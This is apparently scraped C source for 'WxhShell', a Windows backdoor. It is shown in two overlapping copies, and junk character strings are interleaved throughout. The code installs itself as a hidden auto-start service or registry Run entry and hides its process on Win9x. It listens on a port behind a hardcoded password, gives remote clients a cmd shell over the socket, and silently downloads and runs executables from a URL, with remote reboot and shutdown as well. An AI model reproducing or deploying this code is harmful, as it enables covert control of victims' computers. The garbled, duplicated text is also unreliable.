.-gJS-.c static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D,#UJPyg static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #{i*9' waMF~#PJlt HANDLE hProcess; }7 N6nZj` PROCESS_BASIC_INFORMATION pbi; = Xgo}g1 &:&'70Ya HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *z0!=>( if(NULL == hInst ) return 0; i|:!I)(lh VotC YJ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zsL@0]e& g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D|uvgu2 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GppCrQ%Ra| ,\4]uZ< if (!NtQueryInformationProcess) return 0; c_8&4 <WXVUEea hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x,B] J4 if(!hProcess) return 0; 3>O|i2U %:3XYO.w- if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F*72g)hVh RQVu~7d[ CloseHandle(hProcess); 3j7FG%\ b8WtNVd hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '|8dt "C if(hProcess==NULL) return 0; <jh4P!\&j MN?aPpr> HMODULE hMod; uwwR$
(\7 char procName[255]; ;[ <(4v$ unsigned long cbNeeded; = oAS(7o `YhGd?uu$ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T#!>mL|9| d |17G CloseHandle(hProcess); <PLAAh8 Xu$>$D#a if(strstr(procName,"services")) return 1; // 以服务启动 wZvv5:jKpu z.Cj%N return 0; // 注册表启动 o'2eSm0H } PK|-2R"M 35\ |#2qw6 // 主模块 =p5DT int StartWxhshell(LPSTR lpCmdLine) ]#:WL)@ { mxNd_{n SOCKET wsl; K%q5:9m BOOL val=TRUE; `/O`%6,f1! int port=0; 6tKrR{3#A struct sockaddr_in door; QLqtE;;)JK ?=1eHnP!R if(wscfg.ws_autoins) Install(); ;V,L_"/X eL3 _Lz port=atoi(lpCmdLine); zxR]+9Zh :_e[xB=Yy if(port<=0) port=wscfg.ws_port; ;aQ``B _ *f>UW*, WSADATA data; omE- c if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KC;cu%H I&-r^6Yx if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dq93P%X24 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]?^V xB7L door.sin_family = AF_INET; 4]o+)d.`( door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y'U1=w~E door.sin_port = htons(port); nCQtn%j't =%<=Bn if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :[0 R F^2} closesocket(wsl); l5 9a3=q return 1; Pn,I^Ej . } <KMCNCU\+ wQ33Gc if(listen(wsl,2) == INVALID_SOCKET) { ] Q5:JV closesocket(wsl); .psb#4 return 1; ACRuDY } s%)f<3=a Wxhshell(wsl); ;Y7'U rn WSACleanup(); #Y7jNrxE '1mk;% return 0; V}y]< sT^R0Q'> } MK1\ k]m ~DVS // 以NT服务方式启动 :nx+(xgw VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h/EIFve { EGXvz)y DWORD status = 0; Sn nfU DWORD specificError = 0xfffffff; N/tcW E)-;sFz serviceStatus.dwServiceType = SERVICE_WIN32; 7zu\tCWb serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]8A*uyi serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P< OH{l serviceStatus.dwWin32ExitCode = 0; 2!#g\"
serviceStatus.dwServiceSpecificExitCode = 0; #^}H)>jWy serviceStatus.dwCheckPoint = 0; oU\]#e^ serviceStatus.dwWaitHint = 0; UoxlEec nxZz{& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C19N0= if (hServiceStatusHandle==0) return; Pe<VPf9+ wgFX')l: status = GetLastError();
SkjG} if (status!=NO_ERROR) )7 57 { j_<qnBeQ serviceStatus.dwCurrentState = SERVICE_STOPPED; DTO_IP serviceStatus.dwCheckPoint = 0; Ohm{m^VD" serviceStatus.dwWaitHint = 0; | 6{JINW serviceStatus.dwWin32ExitCode = status; {H)7K.hQN serviceStatus.dwServiceSpecificExitCode = specificError; >7W)iwF SetServiceStatus(hServiceStatusHandle, &serviceStatus); +>PsQ^^x return; x}/jh } C.?^] Y n]g"H serviceStatus.dwCurrentState = SERVICE_RUNNING; $8\u serviceStatus.dwCheckPoint = 0; lOm01&^"E serviceStatus.dwWaitHint = 0; H_&to3b( if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MG?,,8s O } h*Fv~j'p ?lC>E[ // 处理NT服务事件,比如:启动、停止 gTj,I=3$?e VOID WINAPI NTServiceHandler(DWORD fdwControl) ,p|Q/M^ { ,U""m7 switch(fdwControl) J
8
KiL { C^ZoYf8+"m case SERVICE_CONTROL_STOP: uE1;@Dm+ serviceStatus.dwWin32ExitCode = 0; )+N{D=YM serviceStatus.dwCurrentState = SERVICE_STOPPED; o;@~uU serviceStatus.dwCheckPoint = 0; pX&bX_F{ serviceStatus.dwWaitHint = 0; (OiV IH { CnZ!b_J SetServiceStatus(hServiceStatusHandle, &serviceStatus); cN@_5 } 2;gvo*k return; TtkHMPlm_ case SERVICE_CONTROL_PAUSE: kL DpZ{ serviceStatus.dwCurrentState = SERVICE_PAUSED; d88A.Z3w break; 8dR `T} case SERVICE_CONTROL_CONTINUE: 8&JB_%Gb serviceStatus.dwCurrentState = SERVICE_RUNNING; y i$+rPF1 break; }u;K<<h: case SERVICE_CONTROL_INTERROGATE: x,C8):\t`B break; LK} g<!o( }; 6Z|h>H5a SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3dN`Q:1R9 } D$>!vD' t=B1yvE" // 标准应用程序主函数 |%|03}Q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p_I^7 $ { sU>IETo P*KIk~J // 获取操作系统版本 ,sitO y}ks OsIsNt=GetOsVer(); o< @![P
GetModuleFileName(NULL,ExeFile,MAX_PATH); rd7p$e=i 4EM+ Ye // 从命令行安装 xt}.0dC!/% if(strpbrk(lpCmdLine,"iI")) Install(); O}i+1 ,8r?C !m] // 下载执行文件 Jg$<2CR& if(wscfg.ws_downexe) { LDQ,SS, if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V/#Ra WinExec(wscfg.ws_filenam,SW_HIDE); '8]p]#l }
{&+M.Xn 0`"oR3JY if(!OsIsNt) { ;t0q
?9 // 如果时win9x,隐藏进程并且设置为注册表启动 t`B@01;8A HideProc(); T +vo)9w StartWxhshell(lpCmdLine); x'g4DYl } :\[l~S else (RFH.iX if(StartFromService()) %*Ex2we& // 以服务方式启动 4s7
RB StartServiceCtrlDispatcher(DispatchTable); pg%(6dqK4 else j!agD_J // 普通方式启动 !=eNr<:V. StartWxhshell(lpCmdLine); r#OPW7mhE .e7tq\k return 0; KO" / } R=~%kt_n 3O,nNt;L{ UN'n~d@~ eA7
Iv{M =========================================== 8?iI;( @eJ8wf] a,Pw2Gcid H$Kc~#= JlYZ\ @<P2di " n~UI47 Po58@g #include <stdio.h> yx Om=V #include <string.h> 8xENzTR #include <windows.h> ^2-
<XD) #include <winsock2.h> ~Ykn|$_"I #include <winsvc.h> m%6VwV7U #include <urlmon.h> =p_*lC%N TVcA%]y{; #pragma comment (lib, "Ws2_32.lib") Nf([JP% 4 #pragma comment (lib, "urlmon.lib") 0Fb];:a 9)7$U QY #define MAX_USER 100 // 最大客户端连接数 AJ%E.+@=r #define BUF_SOCK 200 // sock buffer YVccO~!8 #define KEY_BUFF 255 // 输入 buffer !~|-CF0z= S L
5k^| #define REBOOT 0 // 重启 G:1d6[Q5{ #define SHUTDOWN 1 // 关机 ":
vGs_$ #csP.z3^y #define DEF_PORT 5000 // 监听端口 Dnd; N/9 0BDw}E\ #define REG_LEN 16 // 注册表键长度 T3fQ #p #define SVC_LEN 80 // NT服务名长度 (ODwdN7; 7_\F$bp` // 从dll定义API P7F"#R0QB typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kBZ1)? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q3WI@4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d1/WUKmbZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); by<@\n2B:U ir<e^a // wxhshell配置信息 "`ftcJUd struct WSCFG { {A/^;X{N^ int ws_port; // 监听端口 8;?4rrS char ws_passstr[REG_LEN]; // 口令 e ymv/ int ws_autoins; // 安装标记, 1=yes 0=no p
XXf5adl< char ws_regname[REG_LEN]; // 注册表键名 zx%WV@O9 char ws_svcname[REG_LEN]; // 服务名 V<UChD)N` char ws_svcdisp[SVC_LEN]; // 服务显示名 J'Pyn char ws_svcdesc[SVC_LEN]; // 服务描述信息 vS\ 2zwb} char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yD~,+}0) int ws_downexe; // 下载执行标记, 1=yes 0=no o#p%IGG` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V~/G,3:0y% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VaD+:b4 _CHzwNU }; AtJ{d^ qS\#MMsTd // default Wxhshell configuration kL1<H%1' struct WSCFG wscfg={DEF_PORT, ?5EH/yV; "xuhuanlingzhe", =|-=4.b+| 1, J-
S.m( "Wxhshell", ;(?tlFc "Wxhshell", Dsm1@/"i|7 "WxhShell Service",
] :;x,$k "Wrsky Windows CmdShell Service", 67iI wY*8' "Please Input Your Password: ", !Q[v"6? 1, y2I7Zd . "http://www.wrsky.com/wxhshell.exe", rD=D.1_
"Wxhshell.exe" O?X[&t
}; +7b8 ye _nqnO8^IG4 // 消息定义模块 Mq$K[]F char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ULAr! char *msg_ws_prompt="\n\r? for help\n\r#>"; B`mJT*B[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; upuN$4m&{ char *msg_ws_ext="\n\rExit."; zzZEX char *msg_ws_end="\n\rQuit."; d AcSG char *msg_ws_boot="\n\rReboot..."; I5M\PK/ char *msg_ws_poff="\n\rShutdown..."; KzVi:Hm char *msg_ws_down="\n\rSave to "; ^;_~mq. ~snj92K char *msg_ws_err="\n\rErr!"; 5VV}w R char *msg_ws_ok="\n\rOK!"; 0<%$lr g[G/If char ExeFile[MAX_PATH]; ^0.8-RT int nUser = 0; es*$/A HANDLE handles[MAX_USER]; Dylm=ZZa int OsIsNt; F_*']:p W q<t+E[ SERVICE_STATUS serviceStatus; ,Iyc0 SERVICE_STATUS_HANDLE hServiceStatusHandle; Iuxf`sd G[mqLI{q // 函数声明 T2Yf7Szp int Install(void); 4Et(3[P71 int Uninstall(void); c;kU|_ int DownloadFile(char *sURL, SOCKET wsh); m,Y/ke\ int Boot(int flag); ZK]qQrIwy void HideProc(void); {J==y;dK int GetOsVer(void); ==[(Mn,%d int Wxhshell(SOCKET wsl); J|BElBY void TalkWithClient(void *cs); ^^V3nT2rR3 int CmdShell(SOCKET sock); 4<-Kd~uL int StartFromService(void); eS!]..%y int StartWxhshell(LPSTR lpCmdLine); Em(_W5
ND{ 57q= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M )ET1ZM VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,4H? + |! 8@rYT5e3c // 数据结构和表定义 ceG\Q2 SERVICE_TABLE_ENTRY DispatchTable[] = hH`x*:Qja { y5sH7`2+5 {wscfg.ws_svcname, NTServiceMain}, tL OGj?/r {NULL, NULL} Gk~aTO }; @l CG)Ix< 2uEI@B // 自我安装 T!H(Y4A int Install(void) WPRk>j { ;JkIZ8! char svExeFile[MAX_PATH]; P7-k!p" HKEY key; ]Uwp\2Bc strcpy(svExeFile,ExeFile); "IU}>y>J {P6Bfh7CZ // 如果是win9x系统,修改注册表设为自启动 \na$Sb+ if(!OsIsNt) { uJ2ZHrJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H7'42J@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QDn_`c RegCloseKey(key); "zcAYg^U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $jMA(e`Ye0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~
=u8H RegCloseKey(key); 4;L|Ua return 0; Z+k) N } sa+
JN^[X } h-PJC/> } MUl`0H"tR else { B[ZQn]y SPV+ O{ // 如果是NT以上系统,安装为系统服务 '^)'q\v'k SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k)3N0]q6 if (schSCManager!=0) :\~>7VFg { Gt*<Awn8 SC_HANDLE schService = CreateService :z8/iD y ( zh2<!MH schSCManager, f$>_>E wscfg.ws_svcname, q(qm3OxYo wscfg.ws_svcdisp, c= t4 gf SERVICE_ALL_ACCESS, c6F?#@? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =u2~=t=LV SERVICE_AUTO_START, |>(Vo@ SERVICE_ERROR_NORMAL, Wq3PN^ svExeFile, h^(U:M=A NULL, T)e2IXGN NULL, >l 0aME@-0 NULL, (/uN+ NULL, H}r]j\ NULL zCJ"O9G<V ); &Z~_BT if (schService!=0) d[?RL&hJO { 4vL\t
uoz CloseServiceHandle(schService); O + aK#eF CloseServiceHandle(schSCManager); rS>.!DiYr, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1#N`elm strcat(svExeFile,wscfg.ws_svcname); 7D<Aa?cv_l if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "=Z=SJ1D RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|WaWmp(pQ RegCloseKey(key); <*J"6x return 0; @rT$}O1?` } F2zo
!a8 } `mcb0 CloseServiceHandle(schSCManager); Ei:m@}g } nN&dtjoF } WblH} QyA^9@iVs return 1; #Tc`W_- } yreH/$Ou8 0 @#Jz#? // 自我卸载 oPs asa int Uninstall(void) B4un6-<i { 2`Bb9&ut> HKEY key; ,$!fyi[;C =A5i84y.2u if(!OsIsNt) { pImq<Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U`)
";WN RegDeleteValue(key,wscfg.ws_regname); s>L-0vG RegCloseKey(key); d1#lC*.Sg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cWnEp';. RegDeleteValue(key,wscfg.ws_regname); y3(~8n RegCloseKey(key); o Tvg%bX return 0; z@UH[>^gj } r2f%E:-0G } JVg}XwR } #.u&2eyqQ else { {KSLB8gtL $~q{MX&J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6DHZ,gWq if (schSCManager!=0) 1g=T"O&= { 5q4wREh SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +9LzDH if (schService!=0) j(I(0Yyh { %J6>Vc!ix= if(DeleteService(schService)!=0) { Ox
,Rk CloseServiceHandle(schService); [.l,#-vp CloseServiceHandle(schSCManager); Y|mtQE?c return 0; 0;a1 0b } kK6t|Yn& CloseServiceHandle(schService); e lM<S3 } UHV"<9tk CloseServiceHandle(schSCManager); \gT({XU? } @RB^m(> 5 } !gyW15z' '~yxu$aK return 1; z*VK{O)o } 6GAEQ] Y, Lpv| // 从指定url下载文件 WTD86A int DownloadFile(char *sURL, SOCKET wsh) k3LHLJZ# { YO.ddy*59 HRESULT hr; Foj|1zJS_ char seps[]= "/"; Bs3&yEq( char *token; on
hLhrZ char *file; bfb9A+]3' char myURL[MAX_PATH]; zBca$Vp char myFILE[MAX_PATH]; hH$9GL{H ~d<&OL strcpy(myURL,sURL); tHqa% token=strtok(myURL,seps); e2%mD.I while(token!=NULL) nCV7(ldmH { B{`K?e0 file=token; +bso4 }rS token=strtok(NULL,seps); q+qF;7dN@ } ) F -8 Wt5pK[JV GetCurrentDirectory(MAX_PATH,myFILE); Z1$S(p=)L strcat(myFILE, "\\"); 2ETv H~23 strcat(myFILE, file); MYJMZ3qBi send(wsh,myFILE,strlen(myFILE),0); ?W dY{;& send(wsh,"...",3,0); KWYjN
h#* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?;w`hA3ei if(hr==S_OK) o=![+g return 0; #3>jgluM' else N:KM8PZ&~ return 1; +i /4G.=* Bvj } `o{_+Li9 c=-qbG0` // 系统电源模块 C!K&d,M int Boot(int flag) Y ajAz5N { )~xH!%4F HANDLE hToken; lV./K;\T TOKEN_PRIVILEGES tkp; x*j
eCD, //3fgoly if(OsIsNt) { `"V}Wq ?I OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lwG)&qyVd LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rw
2i_,.*~ tkp.PrivilegeCount = 1; d=\TC'd"{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :rk6Stn$z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2.{zfr if(flag==REBOOT) { vytO8m%U if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `uDOIl return 0; 5ld?N2<8/ } [@pumH> else { `S3)uV]I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0}`
-<( return 0; vEE\{1 } Vv`94aQTD } S]}}r) else { O#!|2qN if(flag==REBOOT) { [Tvdchl OC if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~USyN'5lU7 return 0; 0e:j=kd)NH } 6h)
&h1Yd else { Wj)v,v2& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y(a>Y! dgU return 0; '19? } Tqs|2at<t } 2/F8kVx{ '"hSX= return 1; ;i [;% } IW}Wt{'m @eESKg(, // win9x进程隐藏模块 jW^]N$> void HideProc(void) t8lGC R { ,l,q;]C% I4<_y5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZBH^0 if ( hKernel != NULL ) x*X{*?5@ { AnE]
kq u pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @d0~'_vtB ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oOLj?
0t FreeLibrary(hKernel); [T3%Xt'4 } t3v_o4`& s`yg?CR`, return; N]ebKe } 8"[{[<- y\9#"=+ // 获取操作系统版本 E
KJ2P$ int GetOsVer(void) hoiC
J}us { {XC[Ia6jtL OSVERSIONINFO winfo; @bAuR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E8lq2r= GetVersionEx(&winfo); ^@Qc!(P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W%MS,zkAE return 1; +T,0,^* else Xe\v6gbD return 0; #Hl?R5 } L|'B* VTX6_&Hc1g // 客户端句柄模块 bq8h?Q int Wxhshell(SOCKET wsl) QM~~b=P,\ { ssH[\i SOCKET wsh; #7YJ87<E struct sockaddr_in client; gTLBR DWORD myID; o>]z~^c G~4G$YL* while(nUser<MAX_USER) M D&7k,! { EAC I> int nSize=sizeof(client); L@?3E`4/v wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V1Gnr~GM if(wsh==INVALID_SOCKET) return 1; aM_O0Rn== ^ME'D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3".#nN if(handles[nUser]==0) D mky!Cp closesocket(wsh); l&Y'5k_R else rzvKvGd#N nUser++; 0q]0+o*% } G2sj<F=AV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z$ {[Z= wIWO?w2 return 0; Vkf{dHjW } niyxZ<Z 0<f.r~ // 关闭 socket 00r7trZW^ void CloseIt(SOCKET wsh) N>)Db { : Hu{MN\ closesocket(wsh); i{Du6j^j nUser--; 4#t-?5" ExitThread(0); ttBqp|.?S } U?5G%o(q Uaj_,qb( // 客户端请求句柄 .F$cR^i5u void TalkWithClient(void *cs) bFH`wLW { (Y^tky$9 r'o378]= SOCKET wsh=(SOCKET)cs; i
If?K%M7 char pwd[SVC_LEN]; H%}/O;C char cmd[KEY_BUFF]; _S-@|9\ char chr[1]; Qte%<POx+ int i,j; QTN'yd?WE vbG&F.P while (nUser < MAX_USER) { D O||o&u 2,|;qFJY-@ if(wscfg.ws_passstr) { ID{XZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $++O@C5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L
gy^^. //ZeroMemory(pwd,KEY_BUFF); y(^\]-fE i=0; Tv
5J while(i<SVC_LEN) { $ 1m}lXk T)ISDK4>S" // 设置超时 M[Nv> fd_set FdRead; h 'Hnq m struct timeval TimeOut; Ua=r24fy FD_ZERO(&FdRead); xZ>j Q_} FD_SET(wsh,&FdRead); 9}4~3_gv;M TimeOut.tv_sec=8; N\rL ~4/ TimeOut.tv_usec=0; h b8L[ 4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y3PrLBTz if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,^DP *O_^C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3Y&4yIx pwd=chr[0]; =([4pG if(chr[0]==0xd || chr[0]==0xa) { dt"& pwd=0; _,d<9 Y) break; &rl;+QS } roBb8M|q i++; ~_g{P3 } @S>;t)\J OkCAvRg // 如果是非法用户,关闭 socket | :id/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )%lPKp4] } {2i8]Sp1d/ K%Bz6 ~ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V\l@_%D[(v send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `82Dm!V 4GXS( while(1) { <z>oY2% $q.}eb0 ZeroMemory(cmd,KEY_BUFF); QBN\wL8g a(ml#-M // 自动支持客户端 telnet标准 pUW7p j=0; RAuVRm=E while(j<KEY_BUFF) { w8 `1'*HG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #l3)3k*; cmd[j]=chr[0]; Tf?`_jL if(chr[0]==0xa || chr[0]==0xd) { !_B*Po cmd[j]=0; -*Th=B- break; rUAt`ykTmN } _-9cGm v j++; DQaE9gmC } 1-&L-c. fc[_~I' // 下载文件 8B5WbS fL^ if(strstr(cmd,"http://")) { a#& ( i send(wsh,msg_ws_down,strlen(msg_ws_down),0); MX.?tN#F|H if(DownloadFile(cmd,wsh)) *JQ*$$5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1X9s\JKQ else g#cet{> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); evNe6J3 } *-{|m1P else { mZjpPlJ xtLP4VL switch(cmd[0]) { x;Slv(|M _+(@? // 帮助 ,|.}6\zl*{ case '?': { ik;F@kdm` send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Chx+p&! break; ;oDr8a<A } -|>T?
t'K // 安装 EbVva{;#$; case 'i': { i"
)_Xb_1 if(Install()) D{[{ &1\)r send(wsh,msg_ws_err,strlen(msg_ws_err),0); l=((>^i else ek0!~v<I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X8N9*vy break; I3d}DpPx% } JY^i // 卸载 Dg{d^>T!_x case 'r': { =9,^Tu| if(Uninstall()) FouN}X6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); het<#3Bo else N-Z=p)] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _{gqi$Mi break; ffBd } AQT_s9"0 // 显示 wxhshell 所在路径 `(=Kp=b case 'p': { 7mMMVz2 char svExeFile[MAX_PATH]; cO5zg<wF strcpy(svExeFile,"\n\r"); +mzLOJed strcat(svExeFile,ExeFile); $bFK2yx?= send(wsh,svExeFile,strlen(svExeFile),0); X J)Y-7c break; F*r) } kfT*G
+l] // 重启 s(J>yd= case 'b': { oD1k7Gq1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xc}XRKiy{ if(Boot(REBOOT)) <c:H u{D send(wsh,msg_ws_err,strlen(msg_ws_err),0); evYn} else { o)^Wz closesocket(wsh); jX(hBnGW ExitThread(0); T?1V%!a;f } k+w Ji break; ~1[n@{*: ( } w>=N~0@t // 关机 c;fLM`{* case 'd': { vv{+p(~**O send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4KnBb_w if(Boot(SHUTDOWN)) X;Sb^c"j1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); x&0kIF'lq else { f.+1Ubq!5 closesocket(wsh); WvSm!W ExitThread(0); V[K N,o{6 } pt,L break; a !%,2|U } }(|gC, // 获取shell 0<NS1y case 's': { 1gbFl/i6T CmdShell(wsh); g= Vu'p 3u closesocket(wsh); #
#2'QNN ExitThread(0); ck5cO-1>6 break; c@3 5\!9 } oW6Hufu+o // 退出 t"q'"FX case 'x': { vc&+qI+I3 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?_Z-}f CloseIt(wsh); J'$NBws break; 'xGhMgR; } *Q/^ib9= // 离开 o5NmNOXm case 'q': { :Ev
gUA\4 send(wsh,msg_ws_end,strlen(msg_ws_end),0); hpb|| V closesocket(wsh); J ~3m7 WSACleanup(); t^FE]$, exit(1); fx[&"$X break; FpA t } Ui`{U } j&'6|s{ } Zd>sdS`#r QOSMV#Nw% // 提示信息 AJxN9[Z!N if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }9fch9>Zr } )&d=2M;3 } H>%AK'' bS r"k return; j9hfW' } =2Yt[8'; YZ4`b- // shell模块句柄 1ruI++P int CmdShell(SOCKET sock) "g&f:[a/ { H~:oW~Ah STARTUPINFO si; )Ak#1w&q ZeroMemory(&si,sizeof(si)); Babzrt- si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n+ebi>}P si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^Z?m)qxvB PROCESS_INFORMATION ProcessInfo; C|TQf8 char cmdline[]="cmd"; >Wt@O\k CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e8^/S^ =&d return 0; m1Y a } `?(J(H TZt;-t` // 自身启动模式 A%Ka)UU+n int StartFromService(void) Pg(Y}Tu { R P<M typedef struct ,#3Aaw { EHm*~Sd DWORD ExitStatus; ?4/pE@RIy DWORD PebBaseAddress; J'X}6Q DWORD AffinityMask; 4J_HcatOB DWORD BasePriority; `y.4FA4"8 ULONG UniqueProcessId; xsj,l@Ey ULONG InheritedFromUniqueProcessId; K6p\ >J } PROCESS_BASIC_INFORMATION; nsU7cLf"^V B?=R= p PROCNTQSIP NtQueryInformationProcess; F{E@snc W6NhJ#M7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f^B8!EY#: static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
*af\U3kx M=pQx$%a HANDLE hProcess; uhfK\.3 PROCESS_BASIC_INFORMATION pbi; {\`ttc> c-XO}\? HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >j hcSvM6 if(NULL == hInst ) return 0; mnK<5KLg1 JR.)CzC g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xOj#%; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v.Bwg7R3 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A&t8C8, HJ7A/XW if (!NtQueryInformationProcess) return 0; 8$_{R!x <1*.:CL"s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \#:
W if(!hProcess) return 0; ;7:} iKU ~
